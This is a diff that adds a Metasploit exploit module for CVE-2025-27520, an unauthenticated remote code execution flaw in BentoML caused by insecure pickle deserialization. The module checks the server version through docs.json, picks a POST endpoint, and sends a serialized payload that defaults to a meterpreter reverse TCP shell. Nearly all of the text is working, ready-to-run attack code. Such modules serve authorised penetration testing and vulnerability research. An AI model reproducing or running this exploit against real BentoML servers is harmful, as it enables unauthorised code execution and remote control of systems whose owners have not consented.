|
| 1 | +## |
| 2 | +# This module requires Metasploit: https://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +class MetasploitModule < Msf::Exploit::Remote |
| 7 | + Rank = ExcellentRanking |
| 8 | + |
| 9 | + include Msf::Exploit::Remote::HttpClient |
| 10 | + prepend Msf::Exploit::Remote::AutoCheck |
| 11 | + |
| 12 | + def initialize(info = {}) |
| 13 | + super( |
| 14 | + update_info( |
| 15 | + info, |
| 16 | + 'Name' => 'BentoML RCE', |
| 17 | + 'Description' => %q{ |
| 18 | + A Remote Code Execution (RCE) vulnerability caused by insecure deserialization has been identified in v1.4.2 of BentoML. |
| 19 | + It allows any unauthenticated user to execute arbitrary code on the server. |
| 20 | + }, |
| 21 | + 'Author' => [ |
| 22 | + 'c2an1', # Vulnerability discovery and PoC |
| 23 | + 'Takahiro Yokoyama' # Metasploit module |
| 24 | + ], |
| 25 | + 'License' => MSF_LICENSE, |
| 26 | + 'References' => [ |
| 27 | + ['CVE', '2025-27520'], |
| 28 | + ['URL', 'https://github.com/advisories/GHSA-33xw-247w-6hmc'], |
| 29 | + ], |
| 30 | + 'Targets' => [ |
| 31 | + [ |
| 32 | + 'Python payload', |
| 33 | + { |
| 34 | + 'Arch' => ARCH_PYTHON, |
| 35 | + 'Platform' => 'python', |
| 36 | + 'Type' => :python, |
| 37 | + 'DefaultOptions' => { 'PAYLOAD' => 'python/meterpreter/reverse_tcp' } |
| 38 | + } |
| 39 | + ], |
| 40 | + [ |
| 41 | + 'Linux Command', { |
| 42 | + 'Arch' => [ ARCH_CMD ], 'Platform' => [ 'unix', 'linux' ], 'Type' => :nix_cmd, |
| 43 | + 'DefaultOptions' => { |
| 44 | + # defaults to cmd/linux/http/aarch64/meterpreter/reverse_tcp |
| 45 | + 'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp' |
| 46 | + } |
| 47 | + } |
| 48 | + ], |
| 49 | + ], |
| 50 | + 'DefaultOptions' => { |
| 51 | + 'FETCH_DELETE' => true |
| 52 | + }, |
| 53 | + 'DefaultTarget' => 0, |
| 54 | + 'DisclosureDate' => '2025-04-04', |
| 55 | + 'Notes' => { |
| 56 | + 'Stability' => [ CRASH_SAFE, ], |
| 57 | + 'SideEffects' => [ IOC_IN_LOGS ], |
| 58 | + 'Reliability' => [ REPEATABLE_SESSION, ] |
| 59 | + } |
| 60 | + ) |
| 61 | + ) |
| 62 | + register_options( |
| 63 | + [ |
| 64 | + Opt::RPORT(3000), |
| 65 | + OptString.new('ENDPOINT', [ false, 'Endpoint to use', '']) |
| 66 | + ] |
| 67 | + ) |
| 68 | + end |
| 69 | + |
| 70 | + def check |
| 71 | + res = send_request_cgi({ |
| 72 | + 'method' => 'GET', |
| 73 | + 'uri' => normalize_uri(target_uri.path, 'docs.json') |
| 74 | + }) |
| 75 | + return Exploit::CheckCode::Unknown('Unexpected server reply.') unless res&.code == 200 |
| 76 | + |
| 77 | + version = res.get_json_document&.dig('info', 'description')&.[](/BentoML-([\d.]+)-informational/, 1) |
| 78 | + return Exploit::CheckCode::Unknown('Failed to parse version.') unless version |
| 79 | + |
| 80 | + version = Rex::Version.new(version) |
| 81 | + return Exploit::CheckCode::Unknown('Failed to get version.') unless version |
| 82 | + |
| 83 | + return Exploit::CheckCode::Safe("Version #{version} detected, which is not vulnerable.") unless version.between?(Rex::Version.new('1.3.4'), Rex::Version.new('1.4.2')) |
| 84 | + |
| 85 | + @api_endpoint = find_api_endpoint |
| 86 | + return Exploit::CheckCode::Unknown('No vulnerable api endpoint.') unless @api_endpoint |
| 87 | + |
| 88 | + Exploit::CheckCode::Appears("Version #{version} detected, which is vulnerable.") |
| 89 | + end |
| 90 | + |
| 91 | + def find_api_endpoint |
| 92 | + res = send_request_cgi({ |
| 93 | + 'method' => 'GET', |
| 94 | + 'uri' => normalize_uri(target_uri.path, 'docs.json') |
| 95 | + }) |
| 96 | + return unless res&.code == 200 |
| 97 | + |
| 98 | + paths = res&.get_json_document&.dig('paths') |
| 99 | + paths&.keys&.detect { |path| paths[path].keys.include?('post') } |
| 100 | + end |
| 101 | + |
| 102 | + def exploit |
| 103 | + @api_endpoint = datastore['ENDPOINT'].blank? ? find_api_endpoint : datastore['ENDPOINT'] |
| 104 | + fail_with(Failure::Unknown, 'No endpoint specified or no vulnerable api endpoint found.') unless @api_endpoint |
| 105 | + print_status("Use #{@api_endpoint} as api endpoint.") |
| 106 | + |
| 107 | + if target['Type'] == :python |
| 108 | + data = Msf::Util::PythonDeserialization.payload(:py3_exec_threaded, payload.encoded) |
| 109 | + else |
| 110 | + data = Msf::Util::PythonDeserialization.payload(:py3_exec_threaded, "import os;os.system(\"\"\"\n#{payload.encoded}\n\"\"\")") |
| 111 | + end |
| 112 | + |
| 113 | + res = send_request_cgi({ |
| 114 | + 'method' => 'POST', |
| 115 | + 'uri' => normalize_uri(target_uri.path, @api_endpoint), |
| 116 | + 'headers' => { 'Content-Type' => 'application/vnd.bentoml+pickle' }, |
| 117 | + 'data' => data |
| 118 | + }) |
| 119 | + fail_with(Failure::Unknown, 'Unexpected server reply.') unless res |
| 120 | + print_status('Expected error occurred.') if res.get_json_document&.dig('error') == '1 validation error for Input' |
| 121 | + end |
| 122 | + |
| 123 | +end |
0 commit comments